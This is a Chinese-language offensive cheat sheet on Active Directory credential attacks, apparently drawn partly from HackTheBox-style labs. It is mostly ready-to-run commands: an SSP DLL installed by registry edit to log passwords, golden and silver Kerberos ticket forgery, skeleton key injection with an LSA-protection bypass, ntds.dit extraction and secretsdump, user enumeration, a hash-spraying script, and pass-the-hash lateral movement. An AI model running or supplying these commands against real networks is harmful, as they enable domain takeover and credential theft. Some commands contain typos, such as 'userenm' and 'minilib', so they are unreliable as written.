1. SSP(通过dll获取密码)

  1. 概述:可以使用minikatz提供的mimilib.dll文件,将其放到目标机器C:\Windows\System32\,等待电脑重启后就会把凭据记录在目录下的kiwissp.log文件中。dll位数要与系统一致

  2. 步骤:

  • 第一步:检查架构

  • 第二步:上传mimilib.dll

  • 第三步:修改注册表(最好powershell)

1
2
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0minilib" /f
  • 第四步:等待机器重启,密码储存在C:\Windows\System32\kiwissp.log

2. 黄金票据利用

黄金票据是伪造票据授予票据(TGT),也被称为认证票据。

前提条件 :

  1. 获取到krbtgt账号相关信息

  2. mimikatz管理员权限运行

  • Mimikatz # lsadump::dcsync /domain:pentest.com /user:krbtgt

  • Mimikatz # kerberos::golden /user:administrator /domain:htb.com /sid:S-1-5-21-40662597661885610995-1513813467 /krbtgt:3369fe00cbe15d2f55432dfd4f74bb29 /ptt
    格式:kerberos::golden /user:administrator /domain:域名 /sid:sid /krbtgt:NTLM hash /ptt

  • klist命令查看票据

  • net use \WIN-DC.htb.com\C$

  • dir \WIN-DC.htb.com\C$

3. 白银票据利用

白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据。

利用前提: (mimikatz使用管理员权限)

  1. 抓取到域控用户的NTLM hash和SID、主机名、用户名

  2. 需要指定服务

  • mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit” > 1.txt //获取hash sid等信息

  • Mimikatz # kerberos::purge //清除票据

  • Mimikatz # kerberos::golden /domain:htb.com /sid:S-1-5-21-4066259766-1885610995-1513813467 /target:WIN-DC.htb.com /service:cifs /rc4:7633d1819887dc0aa0f858700ab60dbc /user:dabai /ptt //伪造白银票据并注入到内存中

4. 万能钥匙 skeleton key

原理:注入lsass并创建一个主密码,可在任意域机器上使用。

注:需要域管权限配置,重启无效,默认密码:mimikatz,skeleton key只给所有用户添加一个万能密码,无法修改账户的权限。

1
mimikatz.exe privilege::debug "misc::skeleton"

windows 8.1以上及Windows server 2012 R2以上添加了LSA保护策略

绕过:借助mimidrv.sys文件,执行:

1
mimikatz.exe "privilege::debug" "!+" "!processprotect/process:lsass.exe/remove" "misc::skeleton"

5. VSS提取AD hash(卷影副本)

Windows Server 2012及Windows 8以下

1
2
3
4
wmic /node:yi.com /user:yi\administrator /password:域控管理员密码 process call create "cmd /c vssadmin create shadow /for=c: 2>&1 > c:\vss.log"
wmic /node:yi.com /user:yi\administrator /password:域控管理员密码 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit C:\windows\temp\NTDS.dit 2>&1"
wmic /node:yi.com /user:yi\administrator /password:域控管理员密码 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM c:\windows\temp\SYSTEM.hive 2>&1"
esentutl /p /o NTDS.dit //修复dit文件

6. ntdsutil提取ntds.dit

ntds.dit和ntds.jfm,主要是ntds.dit与工作组环境的SAM文件一样,存储密码的,域名htb.local

1
2
3
4
5
6
// 借助ntdsutil
ntdsutil "active instance ntds" "ifm" "create full c:ntdsutil" quit quit

//借助powershell
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\windows\temp\ntds.dit"
Invoke-NinjaCopy -Path "C:\windows\System32\config\SYSTEM" -LocalDestination "C:\windows\temp\SYSTEM"

拿到 ntds.dit、ntds.jfm 之后:

  1. 使用impact包里的secretsdump.py进行破解hash
  • python secretsdump.py -ntds ntds.dit的文件路径 -system SYSTEM文件路径 LOCAL
  1. 注:如果已经知道管理员用户的hash并且目标域控5985端口开放可以用:evil-winrm -i 域名 -u 管理员名 -H ‘hash后段’

  2. 提取用户名和hash值,先进行用户名碰撞,确定哪些用户名有效(pre-authentication机制,88端口)

  • 工具kerbrute:https://github.com/ropnop/kerbrute

    • ./kerbrute userenm -d htb.local –dc htb.local user_list
  • 用nmap脚本(效率更高)

    • nmap -p88 –script=krb5-enum-users –script-args krb5-enum-users.realm=’htb.local’,userdb=user_list htb.local
  1. 确定可用的用户名后,进行hash碰撞:

    1. 使用crackmapexec工具crackmapexec smb htb.local -u 用户名文件 -H hash文件表(可能会被封ip)
    2. 使用impacket包里的getTGT.py
      • 编辑一个自动执行的脚本getTGT_auto.sh:
1
2
3
4
5
6
7
8
#!/bin/bash

while IFS='' read -r LINE || [-n "${LINE}"]
do
echo "-------------------------"
echo "Feed the Hash:${LINE}"
/usr/share/doc/python3-impacket/examples/getTGT.py htb.local/adminstrator@htb.local -hash ${LINE}
done < hash_list
      • 执行起来数据太多的话会导致看不过来,getTGT.py脚本原理是匹配正确的用户名和hash值会自动存放在一个文件中,会自动生成一份后缀为.ccache的文件,可以利用这个特性使用watch命令监控文件夹,如果现实新增文件后就意味着匹配成功:watch “ls -ltr | tail -2”
  1. 把拿到的hash保存到hash文件里,vim hash,进行横向移动
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 使用evil-winrm 
evil-winrm -i htb.local -u administrator -H ‘hash后段’

# 使用psexec.py
psexec.py -hashes ‘完整hash’ htb.local/administrator@htb.local

# 使用wmiexec.py
wmiexec.py -hashes ‘完整hash’ htb.local/administrator@htb.local

# 使用dcomexec.py/smbexec.py
dcomexec.py-hashes ‘完整hash’ htb.local/administrator@htb.local

# reg.py(注册表提取工具)
reg.py-hashes ‘完整hash’ -dc-ip htb.local htb.local/administrator@htb.local query-keyName HKU\\
# 逐级往下读HKU组件下的文件,如果读取到明文用户名密码,直接使用evil-winrm获取shellevil-winrm -i htb.local -u username -p passwd

-